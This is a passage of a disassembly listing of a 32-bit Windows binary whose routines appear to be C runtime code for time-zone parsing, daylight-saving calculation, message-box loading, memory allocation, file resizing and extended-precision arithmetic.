		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 2600BFAh
		test	eax, eax
		jz	short loc_424788
		xor	esi, esi

loc_424788:				; CODE XREF: sub_424770+14j
		mov	eax, esi
		pop	esi
		retn
sub_424770	endp


; =============== S U B	R O U T	I N E =======================================



sub_42478C	proc near		; CODE XREF: sub_4222C2+73p
					; sub_4222C2+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 28B09AFh
		test	eax, eax
		jz	short loc_4247A4
		xor	esi, esi

loc_4247A4:				; CODE XREF: sub_42478C+14j
		mov	eax, esi
		pop	esi
		retn
sub_42478C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247A8	proc near		; CODE XREF: sub_4222C2+15Bp
					; sub_42470C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		nop
		call	near ptr 2600BAAh
		test	eax, eax
		jz	short loc_4247BC
		xor	esi, esi

loc_4247BC:				; CODE XREF: sub_4247A8+10j
		mov	eax, esi
		pop	esi
		retn
sub_4247A8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42255C

loc_4247C0:				; CODE XREF: sub_42255C:loc_4225ADj
		push	0Ah
		call	sub_4235C9
		push	16h
		call	sub_425955
		pop	ecx
		pop	ecx
		push	3
		call	sub_41B7C2
; END OF FUNCTION CHUNK	FOR sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4247D7	proc near		; CODE XREF: sub_422669:loc_4226A8p
		cmp	dword_4DB590, 0
		jnz	short locret_4247EB
		call	sub_4247EC
		inc	dword_4DB590

locret_4247EB:				; CODE XREF: sub_4247D7+7j
		retn
sub_4247D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247EC	proc near		; CODE XREF: sub_4247D7+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4DB4D8, ebp
		mov	dword_43CD80, ebx
		mov	dword_43CD70, ebx
		call	sub_425AC7
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_424915
		push	offset dword_4DB4E0
		nop
		call	near ptr 2870000h
		cmp	eax, ebx
		jz	loc_424A44
		mov	eax, dword_4DB4E0
		mov	ecx, dword_4DB534
		imul	eax, 3Ch
		cmp	word_4DB526, bp
		push	1
		pop	edx
		mov	dword_43CCD8, eax
		mov	dword_4DB4D8, edx
		jz	short loc_424863
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43CCD8, eax

loc_424863:				; CODE XREF: sub_4247EC+69j
		cmp	word_4DB57A, bp
		jz	short loc_424887
		mov	eax, dword_4DB588
		cmp	eax, ebp
		jz	short loc_424887
		sub	eax, ecx
		mov	dword_43CCDC, edx
		imul	eax, 3Ch
		mov	dword_43CCE0, eax
		jmp	short loc_424893
; ---------------------------------------------------------------------------

loc_424887:				; CODE XREF: sub_4247EC+7Ej
					; sub_4247EC+87j
		mov	dword_43CCDC, ebp
		mov	dword_43CCE0, ebp

loc_424893:				; CODE XREF: sub_4247EC+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_42717C
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43CD64
		push	ebx
		push	offset dword_4DB4E4
		push	edi
		push	dword_4DB374
		call	esi
		test	eax, eax
		jz	short loc_4248D0
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_4248D0
		mov	eax, off_43CD64
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_4248D8
; ---------------------------------------------------------------------------

loc_4248D0:				; CODE XREF: sub_4247EC+D1j
					; sub_4247EC+D7j
		mov	eax, off_43CD64
		and	byte ptr [eax],	0

loc_4248D8:				; CODE XREF: sub_4247EC+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43CD68
		push	ebx
		push	offset dword_4DB538
		push	edi
		push	dword_4DB374
		call	esi
		test	eax, eax
		jz	loc_424A3C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_424A3C
		mov	eax, off_43CD68
		and	byte ptr [eax+3Fh], 0
		jmp	loc_424A44
; ---------------------------------------------------------------------------

loc_424915:				; CODE XREF: sub_4247EC+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_424A44
		mov	eax, dword_4DB58C
		cmp	eax, ebp
		jz	short loc_424938
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_424A44

loc_424938:				; CODE XREF: sub_4247EC+139j
		push	dword_4DB58C
		call	sub_41B0B1
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4DB58C, eax
		jz	loc_424A44
		push	esi
		push	eax
		call	sub_41BEB0
		push	3
		push	esi
		push	off_43CD64
		call	sub_41B5F0
		mov	eax, off_43CD64
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_42498D
		push	1
		inc	esi
		pop	edi

loc_42498D:				; CODE XREF: sub_4247EC+19Bj
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43CCD8, ecx

loc_4249A4:				; CODE XREF: sub_4247EC+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_4249B2
		cmp	al, bl
		jl	short loc_4249B5
		cmp	al, 39h
		jg	short loc_4249B5

loc_4249B2:				; CODE XREF: sub_4247EC+1BCj
		inc	esi
		jmp	short loc_4249A4
; ---------------------------------------------------------------------------

loc_4249B5:				; CODE XREF: sub_4247EC+1C0j
					; sub_4247EC+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43CCD8
		add	ecx, eax
		mov	dword_43CCD8, ecx

loc_4249D3:				; CODE XREF: sub_4247EC+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4249E0
		cmp	al, 39h
		jg	short loc_4249E0
		inc	esi
		jmp	short loc_4249D3
; ---------------------------------------------------------------------------

loc_4249E0:				; CODE XREF: sub_4247EC+1EBj
					; sub_4247EC+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	ecx, dword_43CCD8
		add	ecx, eax
		mov	dword_43CCD8, ecx

loc_4249FB:				; CODE XREF: sub_4247EC+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_424A08
		cmp	al, 39h
		jg	short loc_424A08
		inc	esi
		jmp	short loc_4249FB
; ---------------------------------------------------------------------------

loc_424A08:				; CODE XREF: sub_4247EC+1CCj
					; sub_4247EC+1F7j ...
		cmp	edi, ebp
		jz	short loc_424A14
		neg	ecx
		mov	dword_43CCD8, ecx

loc_424A14:				; CODE XREF: sub_4247EC+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43CCDC, eax
		jz	short loc_424A3C
		push	3
		push	esi
		push	off_43CD68
		call	sub_41B5F0
		mov	eax, off_43CD68
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_424A44
; ---------------------------------------------------------------------------

loc_424A3C:				; CODE XREF: sub_4247EC+10Bj
					; sub_4247EC+115j ...
		mov	eax, off_43CD68
		and	byte ptr [eax],	0

loc_424A44:				; CODE XREF: sub_4247EC+40j
					; sub_4247EC+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4247EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424A4A	proc near		; CODE XREF: sub_422669+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43CCDC, edi
		jnz	short loc_424A5E

loc_424A57:				; CODE XREF: sub_424A4A+148j
					; sub_424A4A+150j ...
		xor	eax, eax
		jmp	loc_424BAA
; ---------------------------------------------------------------------------

loc_424A5E:				; CODE XREF: sub_424A4A+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43CD70
		jnz	short loc_424A7C
		cmp	eax, dword_43CD80
		jz	loc_424B7E

loc_424A7C:				; CODE XREF: sub_424A4A+24j
		cmp	dword_4DB4D8, edi
		jz	loc_424B54
		movzx	ecx, word_4DB586
		push	ecx
		cmp	word_4DB578, di
		movzx	ecx, word_4DB584
		push	ecx
		movzx	ecx, word_4DB582
		push	ecx
		movzx	ecx, word_4DB580
		push	ecx
		jnz	short loc_424ACE
		movzx	ecx, word_4DB57C
		push	edi
		push	ecx
		movzx	ecx, word_4DB57E
		push	ecx
		movzx	ecx, word_4DB57A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_424AE2
; ---------------------------------------------------------------------------

loc_424ACE:				; CODE XREF: sub_424A4A+65j
		movzx	ecx, word_4DB57E
		push	ecx
		push	edi
		movzx	ecx, word_4DB57A
		push	edi
		push	ecx
		push	eax
		push	edi

loc_424AE2:				; CODE XREF: sub_424A4A+82j
		push	ebx
		call	sub_424BF6
		movzx	eax, word_4DB532
		add	esp, 2Ch
		cmp	word_4DB524, di
		push	eax
		movzx	eax, word_4DB530
		push	eax
		movzx	eax, word_4DB52E
		push	eax
		movzx	eax, word_4DB52C
		push	eax
		jnz	short loc_424B3C
		movzx	eax, word_4DB528
		push	edi
		push	eax
		movzx	eax, word_4DB52A
		push	eax
		movzx	eax, word_4DB526
		push	eax
		push	dword ptr [esi+14h]
		push	ebx

loc_424B31:				; CODE XREF: sub_424A4A+108j
		push	edi
		call	sub_424BF6
		add	esp, 2Ch
		jmp	short loc_424B7E
; ---------------------------------------------------------------------------

loc_424B3C:				; CODE XREF: sub_424A4A+C8j
		movzx	eax, word_4DB52A
		push	eax
		push	edi
		movzx	eax, word_4DB526
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_424B31
; ---------------------------------------------------------------------------

loc_424B54:				; CODE XREF: sub_424A4A+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_424BF6
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_424BF6
		add	esp, 58h

loc_424B7E:				; CODE XREF: sub_424A4A+2Cj
					; sub_424A4A+F0j
		mov	edx, dword_43CD74
		mov	eax, dword_43CD84
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_424BAE
		cmp	ecx, edx
		jl	loc_424A57
		cmp	ecx, eax
		jg	loc_424A57
		cmp	ecx, edx
		jle	short loc_424BC2
		cmp	ecx, eax
		jge	short loc_424BC2

loc_424BA8:				; CODE XREF: sub_424A4A+166j
					; sub_424A4A+16Aj
		mov	eax, ebx

loc_424BAA:				; CODE XREF: sub_424A4A+Fj
					; sub_424A4A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_424BAE:				; CODE XREF: sub_424A4A+144j
		cmp	ecx, eax
		jl	short loc_424BA8
		cmp	ecx, edx
		jg	short loc_424BA8
		cmp	ecx, eax
		jle	short loc_424BC2
		cmp	ecx, edx
		jl	loc_424A57

loc_424BC2:				; CODE XREF: sub_424A4A+158j
					; sub_424A4A+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_424BE9
		xor	ecx, ecx
		cmp	eax, dword_43CD78
		setnl	cl

loc_424BE5:				; CODE XREF: sub_424A4A+1AAj
		mov	eax, ecx
		jmp	short loc_424BAA
; ---------------------------------------------------------------------------

loc_424BE9:				; CODE XREF: sub_424A4A+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43CD88
		setl	cl
		jmp	short loc_424BE5
sub_424A4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424BF6	proc near		; CODE XREF: sub_424A4A+99p
					; sub_424A4A+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_424C91
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_424C21
		shl	esi, 2
		mov	eax, dword_43CD88[esi]
		jmp	short loc_424C2A
; ---------------------------------------------------------------------------

loc_424C21:				; CODE XREF: sub_424BF6+1Ej
		shl	esi, 2
		mov	eax, dword_43CDBC[esi]

loc_424C2A:				; CODE XREF: sub_424BF6+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_424C64
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_424C6E
; ---------------------------------------------------------------------------

loc_424C64:				; CODE XREF: sub_424BF6+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax

loc_424C6E:				; CODE XREF: sub_424BF6+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_424CAC
		cmp	[ebp+arg_8], 0
		jnz	short loc_424C82
		mov	esi, dword_43CD8C[esi]
		jmp	short loc_424C88
; ---------------------------------------------------------------------------

loc_424C82:				; CODE XREF: sub_424BF6+82j
		mov	esi, dword_43CDC0[esi]

loc_424C88:				; CODE XREF: sub_424BF6+8Aj
		cmp	ecx, esi
		jle	short loc_424CAC
		sub	ecx, 7
		jmp	short loc_424CAC
; ---------------------------------------------------------------------------

loc_424C91:				; CODE XREF: sub_424BF6+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_424CA2
		mov	ecx, dword_43CD88[eax*4]
		jmp	short loc_424CA9
; ---------------------------------------------------------------------------

loc_424CA2:				; CODE XREF: sub_424BF6+A1j
		mov	ecx, dword_43CDBC[eax*4]

loc_424CA9:				; CODE XREF: sub_424BF6+AAj
		add	ecx, [ebp+arg_18]

loc_424CAC:				; CODE XREF: sub_424BF6+7Cj
					; sub_424BF6+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_424CDD
		mov	eax, [ebp+arg_1C]
		mov	dword_43CD74, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43CD70, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43CD78, eax
		jmp	short loc_424D32
; ---------------------------------------------------------------------------

loc_424CDD:				; CODE XREF: sub_424BF6+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43CD84, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43CCE0
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43CD88, eax
		jns	short loc_424D15
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43CD88, eax
		jmp	short loc_424D26
; ---------------------------------------------------------------------------

loc_424D15:				; CODE XREF: sub_424BF6+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_424D2C
		sub	eax, edx
		inc	ecx
		mov	dword_43CD88, eax

loc_424D26:				; CODE XREF: sub_424BF6+11Dj
		mov	dword_43CD84, ecx

loc_424D2C:				; CODE XREF: sub_424BF6+126j
		mov	dword_43CD80, ebx

loc_424D32:				; CODE XREF: sub_424BF6+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424BF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D36	proc near		; CODE XREF: ___:00422E9Dp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424D47
		add	esp, 0Ch
		retn
sub_424D36	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D47	proc near		; CODE XREF: sub_424D36+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DC821[eax], cl
		jnz	short loc_424D74
		cmp	[esp+arg_4], 0
		jz	short loc_424D6D
		movzx	eax, word_43C332[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_424D6F
; ---------------------------------------------------------------------------

loc_424D6D:				; CODE XREF: sub_424D47+16j
		xor	eax, eax

loc_424D6F:				; CODE XREF: sub_424D47+24j
		test	eax, eax
		jnz	short loc_424D74
		retn
; ---------------------------------------------------------------------------

loc_424D74:				; CODE XREF: sub_424D47+Fj
					; sub_424D47+2Aj
		push	1
		pop	eax
		retn
sub_424D47	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D78	proc near		; CODE XREF: sub_4235C9+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DB594, ebx
		push	esi
		push	edi
		jnz	short loc_424DC7
		push	offset aUser32_dll ; "user32.dll"
		call	near ptr 2690BBBh
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_424DFD
		mov	esi, dword_4270BC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4DB594, eax
		jz	short loc_424DFD
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DB598, eax
		call	esi
		mov	dword_4DB59C, eax

loc_424DC7:				; CODE XREF: sub_424D78+Bj
		mov	eax, dword_4DB598
		test	eax, eax
		jz	short loc_424DE6
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_424DE6
		mov	eax, dword_4DB59C
		test	eax, eax
		jz	short loc_424DE6
		push	ebx
		call	eax
		mov	ebx, eax

loc_424DE6:				; CODE XREF: sub_424D78+56j
					; sub_424D78+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DB594

loc_424DF9:				; CODE XREF: sub_424D78+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_424DFD:				; CODE XREF: sub_424D78+1Cj
					; sub_424D78+33j
		xor	eax, eax
		jmp	short loc_424DF9
sub_424D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E01	proc near		; CODE XREF: sub_423936+22p
					; sub_423936+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_424E22
		test	esi, esi
		jnz	short loc_424E1C
		push	1
		pop	esi

loc_424E1C:				; CODE XREF: sub_424E01+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_424E22:				; CODE XREF: sub_424E01+12j
					; sub_424E01+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_424E81
		mov	eax, dword_4DC948
		cmp	eax, 3
		jnz	short loc_424E4D
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DC940
		ja	short loc_424E6C
		push	eax
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424E97
		jmp	short loc_424E6C
; ---------------------------------------------------------------------------

loc_424E4D:				; CODE XREF: sub_424E01+30j
		cmp	eax, 2
		jnz	short loc_424E6C
		cmp	esi, dword_43C324
		ja	short loc_424E6C
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424EAB

loc_424E6C:				; CODE XREF: sub_424E01+3Bj
					; sub_424E01+4Aj ...
		push	esi
		push	8
		push	dword_4DC944
		call	near ptr 27A0000h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_424EA5

loc_424E81:				; CODE XREF: sub_424E01+26j
		cmp	dword_4DB32C, 0
		jz	short loc_424EA5
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jz	short loc_424EAE
		jmp	short loc_424E22
; ---------------------------------------------------------------------------

loc_424E97:				; CODE XREF: sub_424E01+48j
		push	[ebp+arg_0]

loc_424E9A:				; CODE XREF: sub_424E01+ABj
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch

loc_424EA5:				; CODE XREF: sub_424E01+7Ej
					; sub_424E01+87j
		mov	eax, edi

loc_424EA7:				; CODE XREF: sub_424E01+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_424EAB:				; CODE XREF: sub_424E01+69j
		push	esi
		jmp	short loc_424E9A
; ---------------------------------------------------------------------------

loc_424EAE:				; CODE XREF: sub_424E01+92j
		xor	eax, eax
		jmp	short loc_424EA7
sub_424E01	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4239DB

loc_424EB2:				; CODE XREF: sub_4239DB+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DC5E0, esi
		jle	short loc_424F05

loc_424EC1:				; CODE XREF: sub_4239DB+1528j
		mov	eax, dword_4DB5C8
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_424EFC
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_424EE0
		push	eax
		call	sub_41B05B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_424EE0
		inc	edi

loc_424EE0:				; CODE XREF: sub_4239DB+14F6j
					; sub_4239DB+1502j
		cmp	esi, 14h
		jl	short loc_424EFC
		mov	eax, dword_4DB5C8
		push	dword ptr [eax+esi*4]
		call	sub_41B0B1
		mov	eax, dword_4DB5C8
		pop	ecx
		and	dword ptr [eax+esi*4], 0

loc_424EFC:				; CODE XREF: sub_4239DB+14F0j
					; sub_4239DB+1508j
		inc	esi
		cmp	esi, dword_4DC5E0
		jl	short loc_424EC1

loc_424F05:				; CODE XREF: sub_4239DB+14E4j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4239DB

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424F0A	proc near		; CODE XREF: sub_423A33+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DC700
		jnb	loc_42503F
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC600[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_42503F
		push	1
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_425049
		push	2
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_425049
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FEC
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41B590
		push	8000h
		push	ebx
		call	sub_425B44
		add	esp, 14h
		mov	[ebp+arg_4], eax

loc_424FA0:				; CODE XREF: sub_424F0A+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_424FAB
		mov	eax, edi

loc_424FAB:				; CODE XREF: sub_424F0A+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_424FC9
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FDF
		jmp	short loc_424FA0
; ---------------------------------------------------------------------------

loc_424FC9:				; CODE XREF: sub_424F0A+B5j
		cmp	dword_4DB2AC, 5
		jnz	short loc_424FDC
		mov	dword_4DB2A8, 0Dh

loc_424FDC:				; CODE XREF: sub_424F0A+C6j
		or	esi, 0FFFFFFFFh

loc_424FDF:				; CODE XREF: sub_424F0A+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425B44
		pop	ecx
		pop	ecx
		jmp	short loc_42502C
; ---------------------------------------------------------------------------

loc_424FEC:				; CODE XREF: sub_424F0A+71j
		jge	short loc_42502C
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_42272B
		push	ebx
		call	sub_4238A2
		add	esp, 10h
		push	eax
		call	near ptr 2600000h
		nop
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42502C
		mov	dword_4DB2A8, 0Dh
		nop
		call	near ptr 2670E9Dh
		mov	dword_4DB2AC, eax

loc_42502C:				; CODE XREF: sub_424F0A+E0j
					; sub_424F0A:loc_424FECj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_42504C
; ---------------------------------------------------------------------------

loc_42503F:				; CODE XREF: sub_424F0A+1Aj
					; sub_424F0A+36j
		mov	dword_4DB2A8, 9

loc_425049:				; CODE XREF: sub_424F0A+4Ej
					; sub_424F0A+63j
		or	eax, 0FFFFFFFFh

loc_42504C:				; CODE XREF: sub_424F0A+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_424F0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_425050	proc near		; CODE XREF: sub_4241CF+2Bp
					; sub_4241CF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425066
		cmp	ecx, esi
		jnb	short loc_425069

loc_425066:				; CODE XREF: sub_425050+10j
		push	1
		pop	eax

loc_425069:				; CODE XREF: sub_425050+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425050	endp


; =============== S U B	R O U T	I N E =======================================



sub_425071	proc near		; CODE XREF: sub_42512A+40p
					; sub_42512A+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		inc	dword ptr [esi+8]

loc_4250A3:				; CODE XREF: sub_425071+19j
					; sub_425071+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250BB
		inc	dword ptr [esi+8]

loc_4250BB:				; CODE XREF: sub_425071+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425071	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250CF	proc near		; CODE XREF: sub_42512A+30p
					; sub_42512A+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4250CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250FD	proc near		; CODE XREF: sub_4256C2+1C8p
					; sub_425BBA+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
